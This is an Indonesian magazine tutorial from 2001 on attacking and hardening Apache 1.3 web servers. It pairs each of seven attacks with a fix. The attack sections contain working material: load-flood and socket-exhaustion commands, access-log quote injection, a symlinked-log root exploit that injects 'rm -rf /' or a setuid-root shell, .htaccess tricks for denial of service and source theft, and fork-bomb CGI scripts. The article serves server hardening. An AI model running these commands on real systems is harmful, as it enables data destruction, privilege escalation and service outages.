Apache kena worm? Bukan. Tapi selalu ada bahaya lain yang siap
mengintai jika kita lengah. Steven menunjukkan “lubang-lubang” dan
solusinya.
Siapa
yang bulan lalu tidak pernah mendengar tentang Code Red pastilah sedang
hidup di dunia lain. Dan kini muncul pula Nimda. Anda-Anda para
pengguna software webserver Apache boleh tertawa, karena pilihan Anda
ini tidak rentan terhadap worm-worm tersebut. Anda, yang sebagian besar
terdiri dari Linuxer dan pengikut BSD, mungkin hanya kesal karena ikut
kebanjiran request string yang panjang-panjang, sehingga sebagian dari
Anda harus me-rotate log lebih sering. Tapi jangan takabur, memakai
Apache bukan berarti pasti lolos dari masalah, seperti yang akan kita
bahas sesaat lagi.
Artikel ini merupakan yang pertama dari seri
Hack, di mana penulis akan mengajak pembaca untuk bermain-main dengan
sebuah sistem, tentu dengan tujuan untuk mengenalnya lebih dalam. Kadang
topik dan gaya bahasannya akan sedikit nakal, sesuai konotasi nama
serinya, namun percayalah semua ini demi tujuan edukatif. Apa pun yang
terjadi akibat penerapan dari apa yang tertulis di sini, baik langsung
maupun tak langsung, bukanlah tanggung jawab penulis. Anda harus setuju
dulu sebelum melanjutkan. Tekan Cancel dan pilih halaman lain jika tidak
setuju.
Risiko Layanan Publik
Kalau Anda buka toko, maka Anda
membuka diri pada risiko kemalingan, dirampok, kerusuhan. Semua tentu
sudah beberapa kali mendengar, bahkan pernah melihat kejadian seperti
ini. Begitu mendengar Glodok Anda langsung menangkap kan?
Demikian
juga dengan menyediakan layanan publik. Anda membuka saluran, port,
lubang, untuk dunia luar. Anda menjajakan informasi. Anda mengizinkan
semua orang untuk menggunakan, dan menyalahgunakan, layanan Anda.
Software
server memegang peranan yang kritis dalam menentukan tingkat keamanan
sistem Anda. Beruntunglah pada dasarnya Apache adalah software webserver
yang amat aman. Keandalannya telah ditantang dan diuji oleh tak
terhitung banyaknya orang, karena Apache sebuah software open source.
Bahkan sebetulnya sebagian besar dari yang diutarakan di sini nanti
adalah serangan DOS (denial of service) atau eksploitasi miskonfigurasi,
dua isu yang tidak spesifik untuk Apache melainkan terkait dengan
hakiki sebuah layanan publik atau masalah pada manusia. Bolong-bolong
Apache lain yang misalnya disebabkan oleh buffer overflow akibat
formulasi panjang URI tertentu atau bug pada logika kode, umumnya telah
banyak ditemukan dan dibetulkan. Ini bukan berarti Apache selalu kebal
dengan worm. Barangkali saja belum ada orang yang cukup iseng membuat
modul yang sebenarnya kuda trojan, untuk disebarluaskan terutama di
platform serba biner seperti Windows misalnya—meski kemungkinan besar
akan sulit untuk bisa seheboh Code Red + IIS karena software yang
terakhir ini dikemas bersama OS-nya sendiri. Jika Apache hidup makmur
terus, suatu saat ini bisa saja terjadi. Tinggal masalah waktu. What can
go wrong, will go wrong.
Versi Apache yang dibahas di sini adalah
versi 1.x yang terbaru saat artikel ditulis, yaitu 1.3.20. Patch-patch
yang disediakan penulis dibuat berdasarkan 1.3.14—versi yang dipakai
penulis untuk sistem produksi—namun semua patch bisa dipakai untuk
1.3.20. Semua dicoba di Linux, jadi penulis tidak menjamin patch ini
jalan di platform yang lain. Apache 2.0 tentu saja masih beta, belum
dipakai secara luas, dan lagi belum terlalu penulis akrabi. Jadi tidak
disinggung di sini.
Semua software dan patch yang dibahas
disediakan dalam CD majalah, atau dapat didownload sendiri. Daftar
URL-nya di akhir artikel.
Catatan: Tipe serangan remote berarti
dilakukan lewat koneksi TCP/IP, dan tidak membutuhkan akses shell. Tentu
saja tidak berarti harus di komputer yang berbeda. Sebaliknya, tipe
serangan lokal membutuhkan akses lokal.
Cara 1: Brute Attack
Tipe serangan: remote, DOS.
Program-program
benchmark WWW, selain dipakai untuk mengukur kinerja sesaat sebuah
webserver, tentu dapat juga dipakai untuk mengirim banyak request secara
simultan ke host target, dengan tujuan untuk meninggikan load mesin
tujuan sedemikian rupa sehingga respon bagi klien lain menjadi amat
lambat atau bahkan terhenti. Biasanya efek yang lebih diinginkan si
penyerang adalah RAM menjadi habis sehingga mesin tak henti-henti
melakukan swap. Ketimbang hanya menghabiskan CPU, efek swapping seperti
ini umumnya lebih lama pulihnya, atau tak akan pernah pulih hingga mesin
direboot.
Apache nampaknya tidak memiliki kemampuan mengatur load
seperti IIS, sehingga akan terus mem-fork proses baru hingga nilai
MaxClients tercapai atau hingga batas yang diizinkan oleh OS. Ini
tentunya menguntungkan penyerang karena habisnya RAM akan lebih cepat
tercapai.
Untuk lebih efektif menghabiskan CPU, Anda perlu memilih
request mana yang kira-kira intensif CPU. Target yang umum adalah
fasilitas search di situs ybs. Atau skrip CGI atau PHP yang kira-kira
memerlukan cukup banyak pemrosesan, seperti mengakses database, dsb.
Untuk lebih efektif menghabiskan RAM, Anda perlu mengira-ngira request
yang akan menyebabkan Apache meluncurkan program lain yang besar. Server
Apache yang menggunakan mod_perl cukup rentan karena ukuran proses
httpd yang besar.
Banyak tool yang dapat dipakai untuk melakukan
ini, antara lain ApacheBench (disertakan dalam distribusi Apache),
http_load, httperf, atau berbagai tool komersial. Contoh berikut
mengirimkan total 100000 request, paralel 200, ke sebuah host korban.
|
$ /usr/sbin/ab –n 100000 –c 200 \
http://korban.com/cgi-bin/search?q=kata+yang+cukup+umum
|
Opsi-opsi lain ApacheBench bisa dilihat di manpage-nya.
Tentu
saja, lebih efektif melakukan serangan ini dari mesin yang sama atau
jaringan lokal, karena waktu tunda karena latensi jaringan minimal. Jika
mesin server yang diserang cukup bertenaga CPU besar, maka mungkin saja
lebih lama waktu yang dihabiskan untuk mentransfer data dari program
Anda dari/ke server. httperf memiliki opsi bagus untuk mengeset timeout.
Kita dapat mengecilkan nilai ini agar sebelum server yang cepat itu
memberi reply, kita sudah memutuskan koneksi karena timeout. Contoh:
|
$ httperf --hog --server korban.com --port 80 \
--uri /cgi-bin/search.cgi?q=bla+bla --rate 100 \
--timeout 0.001 --http-version 1.0
|
Pada contoh di atas, kita mengeset timeout ke nilai yang cukup kecil, 1 ms.
Solusi 1
Pada
dasarnya serangan murni DOS seperti ini sulit diatasi, kecuali Anda
melakukan tindakan identifikasi terhadap pelaku dan pemblokiran akses
melalui firewall atau mekanisme kontrol akses Apache (Order, Allow from,
Deny from).
Hal yang paling penting, pastikan RAM mesin Anda
cukup untuk perkiraan beban yang diharapkan. Lakukan dulu simulasi
dengan tool-tool benchmark sebelum orang lain melakukannya. Jika RAM
Anda ternyata kurang, kecilkan juga MaxClients agar jika Apache Anda
sibuk dan proses induknya beranak-pinak, maka memori Anda tidak habis
semua untuk anak-anak Apache ini.
Terdapat juga satu modul Apache
yang mungkin dapat membantu membatasi klien, yaitu mod_limitipconn.
Modul ini mencatat IP klien-klien terakhir dan membatasi jumlah koneksi
untuk tiap IP. Fungsionalitas seperti ini juga mudah dibuat jika Anda
menguasai mod_perl atau mod_python misalnya.
Cara 2: Menggantung Soket
Tipe serangan: remote, DOS. Kadang disebut juga serangan tipe timeout.
Apache
dikenal memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi
bawaan yang diberikan oleh Apache Software Foundation maupun di
distro-distro Linux adalah MaxClients sebesar 150. Ini berarti, hanya
150 koneksi yang diizinkan ke sebuah server Apache, atau maksimal 150
klien. Jumlah klien dapat sedikit banyak kurang dari angka tersebut,
karena sebuah browser bisa saja mengirimkan 4 request simultan dengan
koneksi terpisah-pisah.
Dibanding cara sebelumnya, cara
menggantung soket ini lebih halus. Setelah konek, program benchmark kita
hanya diam dan tidak melakukan apa-apa. Server Apache masih akan
menunggu selama waktu yang ditentukan oleh direktif TimeOut (default 5
menit). Selama waktu tunda ini, soket TCP tetap “menggantung” dan tak
dapat dipakai untuk klien lain. Jika kita mengirimkan request simultan
cukup banyak, maka batasan klien maksimum Apache akan tercapai dan
hasilnya, klien lain akan tertunda dan bila backlog TCP terlampaui,
terjadi penolakan koneksi sehingga seolah-olah tampak server di seberang
itu tewas.
Berikut salah satu cara sederhana menggantung soket di server:
|
perl -MIO::Socket -e'$|++;
for(1..1300){
$fh{$_}=new IO::Socket::INET
PeerAddr=>"korban.com",
PeerPort=>80,
Proto=>"tcp"
or die;print "$_\n"}
'
|
Lakukan
dari beberapa login shell atau beberapa komputer untuk satu tujuan
korban.com. Perhatikan apa yang terjadi. Selama Anda menggantung habis
soket, klien lain akan sulit sekali mendapat respon dari Apache.
Solusi 2
Modul
mod_limitipconn dapat dipakai pula di sini untuk membatasi IP penyerang
membuat banyak koneksi sekaligus dengan server kita.
Perbesar
kapasitas jumlah soket yang dapat dibuka simultan oleh OS. Di Linux, ini
dilakukan dengan mengeset nilai-nilai di
/proc/sys/fs/{file-max,inode-max}. Lihat dokumentasi
Documentation/filesystems/proc.txt di source code Linux Anda untuk
rinciannya. Nilai bawaan Linux memang cukup kecil. Anda sebaiknya
memperbesar hingga 16k atau lebih.
Selain itu, cara-cara berikut
dapat memperbesar ketersediaan koneksi TCP di server Anda. Intinya
adalah jangan membiarkan koneksi jangka panjang berlama-lama.
Kecilkan
nilai TimeOut. Menurut penulis lima menit memang kurang masuk akal bagi
Apache. Kecilkan menjadi 1 menit saja. Situs supersibuk seperti Google
misalnya, memiliki nilai timeout yang relatif rendah.
Bila server
Anda juga sibuk dan koneksi simultan pun tinggi, maka ada baiknya
mematikan KeepAlive untuk memperbesar ketersediaan koneksi TCP.
Menyalakan KeepAlive memang meningkatkan kecepatan respon bagi klien,
tapi ini meningkatkan jumlah soket yang “tergantung”. Anda dapat melihat
dengan jelas di halaman status Apache.
Selain limit dari OS,
limit dari Apache sendiri perlu ditingkatkan. Jumlah koneksi maksimum
bawaan Apache 256. Ini dapat diperbesar tapi Anda perlu mengkompile
ulang dan mengeset OS Anda agar mengizinkan sebuah proses beranak lebih
dari jumlah tersebut. Demi mempersingkat artikel ini, penulis tidak akan
membeberkan caranya secara rinci. Petunjuk: cari string
HARD_SERVER_LIMIT di httpd.h.
Perkecil pula jumlah maksimum
deskriptor file yang dapat diciptakan oleh user. Tambahkan baris ‘ulimit
-n 32’ misalnya, di /etc/profile.
Salah satu cara lain yang
populer untuk memperbesar kapasitas jumlah koneksi Apache adalah dengan
memasang proxy depan. Squid misalnya, dalam mode accelerator http.
Karena Squid modelnya proses tunggal dan menggunakan select(2), maka
kapasitas Squid lebih besar dari Apache. Jadi Apache dilindungi dari
klien-klien penggantung atau lambat. Klien-klien ini akan menggantung di
proses Squid, bukan Apache. Juga karena keterbatasan ruang, ini tidak
dibahas lebih lanjut.
Cara 3: Mengacaukan Statistik Web
Tipe serangan: remote, perusakan data, eksploit input.
Ada
satu kelemahan Apache yang penulis rasakan, yaitu tidak memroses
karakter kutip dalam string Referrer dan User-Agent yang dikirimkan oleh
klien. Ini berarti klien dapat memformulasi inputnya secara hati-hati
untuk merusak format baris log akses.
Jenis serangan ini tidak
betul-betul berbahaya atau bahkan mengganggu kerja Apache, namun cukup
menyebalkan karena dapat mengacaukan rata-rata software statistik Web.
Berikut ini format log Apache combined (semua dalam satu baris):
|
11.11.11.11 - - [31/Aug/2001:02:01:56 +0700] "GET /index.shtml HTTP/1.1
+" 200 12152 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
|
Field-fieldnya,
dipisahkan oleh spasi dan dapat dikutip, adalah sbb: host remote,
remote logname (jika ada indentd), username (jika dikenai Basic
Authentication), waktu request, baris pertama request, kode respon,
jumlah byte di bodi respon (jika objek statik, sama dengan ukuran file
yang dikirim), Referer, dan User-Agent. Definisinya bisa dilihat di
baris LogFormat di httpd.conf.
Kutip ganda dalam baris request
ternyata tidak di-filter atau di-escape. Maka kita dapat mengacaukan
field-field berikutnya dengan memasukkan kutip ini. Terutama yang ingin
kita isengi kali ini adalah jumlah byte di bodi respon.
Cobalah konek ke server target dan lakukan hal berikut:
|
$ telnet korban.com 80
Trying 22.22.22.22...
Connected to korban.com.
Escape character is '^]'.
GET / HTTP/1.0" 200 1000000000 "-
Host: korban.com
(tekan Enter sekali lagi)
|
Apa yang akan muncul di baris log server?
|
11.11.11.11 - - [31/Aug/2001:17:13:12 +0700] "GET / HTTP/1.0" 200 10000
+00000 "-" 200 14173 "-" "-"
|
Program-program
statistik Web (termasuk Webalizer, WebTrends, dan Wusage yang telah
penulis coba) mau bekerja dengan baris log ini dan menafsirkan jumlah
byte respon di field ketujuh ciptaan kita dengan baik. Padahal
sebetulnya jumlah byte respon tidak satu miliar byte, melainkan hanya
sekitar 14k. Namun field asli telah tergeser ke field sepuluh. Ini
berkat Apache yang meloloskan baris request nakal kita hingga ke file
log.
Akibat dari perbuatan ini dapat bermacam-macam. Si pemilik
situs senang karena situsnya sekilas terlihat ramai dikunjungi, bingung,
atau sedih karena didenda ekstra oleh webhosternya.
Field kedua dan ketiga juga tidak dikutip dan bisa dimanipulasi. Silakan coba kombinasi request lain.
Program
statistik Web Webalizer juga ternyata tidak melakukan HTML-escaping
pada field username, sehingga kita bisa menyuntikkan kode-kode
Javascript untuk menyebabkan serangan potensial cross-site scripting.
Jika sebuah halaman Web mengeluarkan kotak dialog password, cobalah
masukkan kode Javascript di field username. Tentu saja ini bukan
kesalahan Apache.
Solusi 3
Patch Apache
dengan avoid_nasty_characters_in_access_log.patch, lalu kompile ulang.
Misalkan Anda memiliki tarball apache_1.3.20.tar.gz. Lakukan hal
berikut:
|
$ tar xfz apache_1.3.20.tar.gz
$ cd apache_1.3.20
$ patch -p1 < \
../apache_1.3.14-avoid_nasty_characters_in_access_log.patch
$ ./configure (masukkan opsi-opsi Anda)
$ make all install
|
Cara
melakukan patch lainnya nanti sama seperti ini. Patch yang penulis buat
ini akan mengubah semua kutip ganda (“) yang terdapat dalam baris
request—dan field-field rawan lainnya—menjadi kutip tunggal(‘), sehingga
tidak mengganggu pembatas antarfield. Ada pendekatan lain yang bisa
dilakukan, misalnya menghilangkan kutipnya sama sekali, atau
meng-escape-nya menjadi \”, namun cara pertama yang menurut penulis
paling sederhana dan kompatibel dengan program-program pengolah log.
Cara 4: Symlink Log
Tipe serangan: lokal, perusakan data, eksploit root.
Jika
server Anda melayani banyak virtualhost milik user-user yang berbeda,
umumnya tiap virtualhost diberi log akses dan log error sendiri.
Misalnya ditaruh di /home/namauser/logs/access.log dan
/home/namauser/logs/error.log. Jika Anda tidak berhati-hati, user dapat
memanipulasi file log. Meskipun pemilik file log mungkin saja root,
namun Anda perlu memperhatikan pemilik dari direktori
/home/namauser/logs. Jika pemilik direktori logs/ adalah si user, maka
user tetap dapat menghapus file-file log milik root tadi. Tidak percaya?
Coba saja:
|
# cd /home/penjahat
# mkdir logs && chown penjahat.penjahat logs
# cd logs
# touch error.log
|
Sekarang, sebagai user penjahat, lakukan:
|
$ cd /home/penjahat/logs
$ rm error.log
|
Kok
bisa begitu? Memang demikianlah sistem permission di Unix. Si pemilik
direktori memang berhak menentukan file-file apa saja yang berada di
dalamnya. Tentu saja si penjahat tidak boleh memodifikasi isi error.log,
tapi menghapus atau mengganti namanya boleh.
Nah, bagaimana bila
si penjahat menghapus error.log semula, lalu membuatnya jadi symlink ke
file lain? Ingat, proses induk Apache umumnya berjalan sebagai root
karena harus menambatkan diri ke port 80. Dan penulisan log dilakukan
oleh proses induk! Ini berarti, si penjahat jadi dapat melakukan append
ke file manapun di filesystem. Merusak database MySQL (symlink ke file
.MYD atau .MYI misalnya), file /etc/passwd, log milik user lain, dsb.
Kita tinggal menunggu admin melakukan kill -HUP atau me-restart Apache,
maka file-file yang menjadi tujuan symlink akan dikotori oleh log akses
atau log error. Ngeri ya?
Tadi ditulis bahwa serangan ini dapat
menjadi eksploit root, bagaimana caranya? Pertama-tama, mari kita cari
perintah standar di Unix yang merupakan skrip shell dan biasanya
dijalankan oleh root. Syaratnya, skrip shell ini tidak boleh diakhiri
dengan exec atau exit, agar jika kita menambahkan satu baris di akhir
file, maka baris tersebut masih bisa dieksekusi. Penulis melihat sistem
RedHat 6.2 dan mengamati file-file berikut memenuhi syarat:
|
/etc/rc.d/rc.local atau /etc/rc.d/rc.sysinit (akan dijalankan di awal boot sistem
/etc/cron.*/*
/usr/bin/groups
/bin/vimtutor, /usr/bin/autoconf, /usr/sbin/makewhatis, /usr/bin/zless, dst. (tidak selalu oleh root)
|
Sekarang,
symlink-lah access.log ke salah satu file di atas—misalnya
/etc/rc.d/rc.local—, tunggu sampai Apache atau seluruh sistem direstart.
Setelah itu, lakukan hal berikut:
|
$ telnet localhost 80
GET "; rm -rf /; # HTTP/1.0
(tekan Enter sekali lagi)
|
Hasilnya,
sebuah baris akan ditambahkan ke /etc/rc.d/rc.local. Sekarang kita
perlu menunggu sekali lagi sampai server direboot. Atau jika Anda tak
sabar, lakukan DOS hingga sistem terpaksa direboot. Baris terakhir di
rc.local pada gilirannya akan dieksekusi.
|
127.0.0.1 - - [31/Aug/2001:17:13:12 +0700] "GET "; rm –rf /; # HTTP/1.0
+" 200 14173 "-" "-"
|
Di
mata shell, baris di atas terdiri dari tiga perintah yang dibatasi oleh
tanda titik-koma. Perintah pertama tentu saja tidak berarti apa-apa
bagi shell, malah mengakibatkan kesalahan. Tapi perintah kedua, rm -rf
/, tentu semua orang sudah kenal kan?
Tentu saja menghapus seluruh
filesystem kurang kreatif dan asyik, jadi perintah rm ini bisa kita
ganti dengan perintah lain seperti (semua satu baris, sisipkan dalam
request HTTP seperti yang sebelumnya):
|
echo -e '#!/usr/bin/perl\n;undef %ENV;$<=$>;$(=$);exec qq(/bin/bash);'
+ > /home/penjahat/.bash; chmod 4755 /home/penjahat/.bash
|
Perintah di atas akan membuat sebuah skrip setuid root di /home/penjahat/.bash. Sim salabim, akses root.
Solusi 4
Sudah
jelas: jangan biarkan user dapat memanipulasi file log. Agar aman,
jangan taruh file log di bawah direktori home user, karena direktori
home user sudah pasti pemiliknya adalah si user.
Tidak ada ruginya menerapkan patch di Solusi 3, agar user tidak dapat seenaknya mengirimkan kutip penutup ke log akses.
Cara 5: Bermain-Main dengan .htaccess
Tipe serangan lokal, DOS, pencurian data.
Jika
Anda memiliki akses lokal dan diperbolehkan menulis .htaccess sendiri,
ada berbagai hal menarik yang bisa dicoba. .htaccess merupakan
perpanjangan dari httpd.conf, yaitu konfigurasi Apache di tiap tingkat
direktori.
Misalkan file-file situsku.com ditaruh sebagai milik user situsku di /home/situsku/www.
Apache tidak membatasi ukuran .htaccess, sehingga Anda dapat meluncurkan DOS dengan membuat file .htaccess yang besar.
|
$ cd /home/situsku/www
$ perl -e'print "# allow from all\n" x 200_000' > .htaccess
|
Baris
di atas akan menulis sebuah file akses berukuran sekitar 3MB. Cobalah
mengakses halaman depan situsku.com dari jaringan lokal. Jika respon
menjadi lambat, maka permainan kita bisa berlanjut. Jika tidak, maka
server telah dikonfigurasi untuk mengabaikan .htaccess.
Kita dapat
melipatgandakan efek ini dengan membuat banyak tingkat direktori, atau
loop direktori. Apache pun memperbolehkan .htaccess berupa symlink,
sehingga kita dapat melakukan seperti ini:
|
$ cd /home/situsku/www
$ mkdir www2
$ cd www2
$ ln -s ../.htaccess .htaccess
|
Akses ke www2 akan semakin lambat karena Apache memroses dulu .htaccess di www/, baru ke www2. Demikian seterusnya.
Apache
sebelum 1.2.5 belum mengecek tipe file .htaccess. Sehingga dapat
diserang dengan DOS seperti berikut (contoh di bawah untuk .htpasswd):
|
AuthType Basic
AuthName DoS Attack
AuthUserFile /dev/zero
require valid-user
|
Ketika
mencoba membaca file password dan mencari tanda titik dua pembatas
username dan password, Apache akan tersesat di rimba nol selamanya, dan
menghabiskan CPU dan RAM.
Apache setelah 1.2.5 mengecek hal ini,
namun belum mengecek fifo atau pipa bernama. Kita dapat membuat
.htaccess sebagai file pipa bernama:
Dan
saat Apache mencoba membaca file akses ini, ia akan menunggu selamanya,
karena tidak ada yang menulis ke pipa kita tadi. Masukkan URL ke
direktori yang berisi pipa ini di browser berulang kali, maka proses
Apache lama-lama akan habis karena masing-masing tergantung membaca
.htaccess.
Berbagai kelemahan konfigurasi lain juga dapat
dimanfaatkan melalui .htaccess. Misalnya, jika AllowOverride FileInfo
aktif dan webserver memiliki mod_status, maka berikan .htaccess berikut
untuk melihat halaman status Apache:
|
<Files /server-status>
SetHandler server-status
</Files>
|
Halaman
status ini berguna untuk mengetahui tingkat kesibukan Apache Anda, dan
juga bisa digunakan oleh penyerang agar lebih efektif dalam melakukan
tugasnya.
Atau, jika Options FollowSymlinks hidup, Anda dapat
melihat source code CGI/PHP user lain. Misalnya, user yang ingin diintip
adalah korban. Perintah berikut dimasukkan oleh user penjahat.
|
$ cd /home/penjahat/www
$ mkdir korban; cd korban
$ ln -s /home/korban/www www
$ echo -e "
directoryindex none
sethandler default-handler
forcetype text/plain" > .htaccess
|
Akses
direktori /home/penjahat/www/korban/www dari browser. Maka Anda akan
melihat seluruh file www milik korban sebagai source. Anda dapat mencuri
program yang berharga, password database, dsb.
Ada beberapa kombinasi menarik lainnya dalam bermain-main dengan .htaccess. Silakan cari dan temukan sendiri.
Solusi 5
Nomor
satu, apakah Anda membutuhkan .htaccess? Jika tidak, matikan.
AllowOverride None. Semua masalah beres. Bukan hanya sistem lebih aman
dari user, kinerja Apache juga akan meningkat. Lanjut ke Cara 6.
Jika
Anda perlu memberikan akses membuat .htaccess bagi user, maka terapkan
patch ini: limit_htaccess.patch. Patch tersebut dapat membatasi
kenakalan user dengan memperkenalkan tiga direktif baru.
LimitAccessFileSize,
untuk membatasi ukuran maksimum .htaccess. Perhatikan bahwa nilai
standarnya adalah 8k. Untuk mematikan pembatasan ukuran, berikan nilai
0.
LimitAccessFileType, untuk membatasi jenis file yang
diperbolehkan. Misalnya, kita hanya mengizinkan file biasa dan tidak
pipe, soket, device, atau bahkan symlink. Maka tambahkan baris
LimitAccessFileType regular ke httpd.conf Anda.
LimitAccessFileToRoot, untuk mewajibkan .htaccess dimiliki root. Ini
berarti, Apache tetap dapat menjalankan .htaccess, tapi si user tidak
diperbolehkan membuatnya sendiri. Anda dapat membuat antarmuka Web
semacam control panel misalnya, agar user dapat membuat .htaccess, tapi
hanya perintah-perintah tertentu saja dalam jumlah terbatas.
Berikan juga direktif Options -FollowSymlinks jika Anda ingin mencegah orang agar tidak dapat membuat loop direktori.
Seleksi
perintah-perintah yang boleh diberikan di .htaccess melalui direktif
AllowOverride. Misalnya, jika Anda menggunakan mod_perl, sangat tidak
dianjurkan menghidupkan AllowOverride FileInfo, karena si user dapat
membuat .htaccess untuk menjalankan handler Perl sendiri, yang berjalan
sebagai user Apache dan memiliki akses ke isi perut webserver.
Cara 6: Membuat Skrip DOS
Tipe serangan: lokal, DOS.
Pada
dasarnya mirip dengan cara pertama, namun kini Anda memiliki kebebasan
untuk membuat skrip yang bisa dengan cepat menghabiskan resource. Tentu
saja Anda perlu diizinkan membuat skrip CGI atau PHP sendiri. Satu yang
paling sederhana, fork bomb, untuk memenuhi tabel proses dan
menghabiskan RAM:
|
#!/usr/bin/perl
fork while 1;
|
Atau, mari habiskan CPU:
|
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i;
|
Atau, mari habiskan deskriptor file:
|
#!/usr/bin/perl
while (++$i) { open $f{$i}, "/bin/ls"; }
|
Atau, mari habiskan memori lebih cepat:
|
#!/usr/bin/perl
for (1..20) { fork or last }
while (++$i) { $h{$i} = "X" x 0xff; }
|
Panggillah skrip ini beberapa kali dari browser agar lebih terasa efeknya.
Sebetulnya
serangan pun dapat remote, asalkan kita menemukan skrip bodoh yang bisa
dimanfaatkan untuk menyuntikkan skrip kita ini menembus shell atau
interpreter Perl/PHP.
Solusi 6
Ada patch
bagi Linux yang berguna untuk mendeteksi ledakan proses anak dan segera
mematikan proses induknya. Anda bisa mencarinya di Freshmeat, Fork Bomb
Defuser. Namun hati-hati jika skrip Anda berjalan di dalam proses Apache
(mod_php, mod_perl), sebab dapat dimanfaatkan oleh si penyerang untuk
justru membunuh Apache itu sendiri.
Kenakan pembatasan resource
pada skrip-skrip CGI. Lihatlah dokumentasi Apache untuk
direktif-direktif berikut: LimitRequestBody, LimitRequestFields,
LimitRequestFieldSize, LimitRequestLine, RLimitCPU, RLimitMEM,
RLimitNPROC.
Jika server Anda dipakai oleh banyak user, lebih baik
wrap eksekusi CGI agar risiko ditanggung oleh tiap user, bukan oleh
user Apache Anda semata. Jalankan PHP dengan safe_mode dan
safe_mode_exec_dir.
Karena tindakan DOS seperti ini amat
menyebalkan dan murahan, tegaskan bahwa Anda amat tidak menyukai
tindakan ini, dan kenakan sanksi yang berat pada user yang, baik iseng
maupun dengan sengaja, melakukan kegiatan DOS seperti ini.
Cara 7: Memenuhi Log
Tipe serangan remote atau lokal, DOS, memenuhi disk.
Root
di Unix secara bawaan tidak terbatas aksesnya, termasuk tidak dikenai
kuota disk, dsb. Lewat skrip CGI, kita dapat mengalirkan data agar
kepada root sehingga ditulis file log error misalnya.
|
#!/usr/bin/perl
print STDERR "X" x (1024*1024);
|
Program
CGI pendek di atas, jika dijalankan lewat webserver, akan mengirim 1MB
data ke log error. Lakukan berulang kali, maka Anda bisa membayangkan
apa yang akan terjadi.
Serangan ini juga bisa dilakukan secara
remote, dengan mengirim baris request, header User-Agent dan Referer
yang panjang-panjang; semua ini umumnya akan bermuara di log akses.
Namun tentu serangan lokal lebih efisien.
Solusi 7
Yang
pasti, pertama-tama pisahkan partisi log Anda dari yang lain, agar jika
log penuh—sesuatu hal yang sering terjadi—maka aktivitas lainnya tidak
terhenti begitu saja.
Seperti biasa, tindakan DOS seperti ini agak
dilematis untuk diatasi. Anda bisa mematikan error_log sama sekali,
atau mengeset LogLevel ke tingkat crit ke atas, tapi itu berarti Anda
akan kehilangan pemberitahuan even-even lainnya. Atau Anda dapat
melempar stderr ke stdout—seperti yang dilakukan oleh cgiwrap—tapi
konsekuensinya pemakaian bandwidth sedikit meningkat: pesan dari stderr
ke disk kini berpindah ke jaringan, serta dapat membocorkan informasi
seperti password database.
Anda dapat mengeset file log error agar
dimiliki oleh user, bukan root, agar terkena kuota dan terbatasi
ukurannya. Namun ini berarti direktori penampung file log tersebut
jangan boleh bisa ditulisi oleh si user, agar tidak bisa diisengi ala
Cara 4.
Atau Anda dapat mengeset pemilik log error sebagai user khusus lain yang diberi kuota.
Jika
Anda memahami C dan source code Apache, bisa pula mencoba membatasi
ukuran log yang dapat diproduksi per skrip atau per jangka waktu
tertentu, meski tentunya ini pun berarti user Anda kehilangan sebagian
informasi.
Penutup
Pada dasarnya DOS sulit diatasi, tapi
jangan biarkan server Anda dapat diobok-obok dengan mudah. Jangan
biarkan kesalahan atau kelemahan konfigurasi membuat data milik user
Anda dapat dicuri. Yakinkan RAM cukup, atau jangan biarkan Apache
menghabiskan seluruh RAM Anda. Jika Anda membuat skrip sendiri, ada
sekumpulan jebakan yang sering mengenai programer pemula, jadi jangan
lupa untuk membaca WWW Security FAQ. Yang paling penting, seperti orang
Tegal bilang, know thy tools.
Rujukan
http_load: www.acme.com/software/http_load/
httperf: www.hpl.hp.com/personal/David_Mosberger/httperf.html
mod_limitipconn: dominia.org/djao/limitipconn.html
Security Tips Apache: httpd.apache.org/docs/misc/security_tips.html
WWW Security FAQ: www.w3.org/Security/Faq/
Patch-patch Apache:
steven.haryan.to/apache/apache_1.3.14-limit_htaccess.patch,
steven.haryan.to/apache/apache_1.3.14-avoid_nasty_characters_in_access_log.patch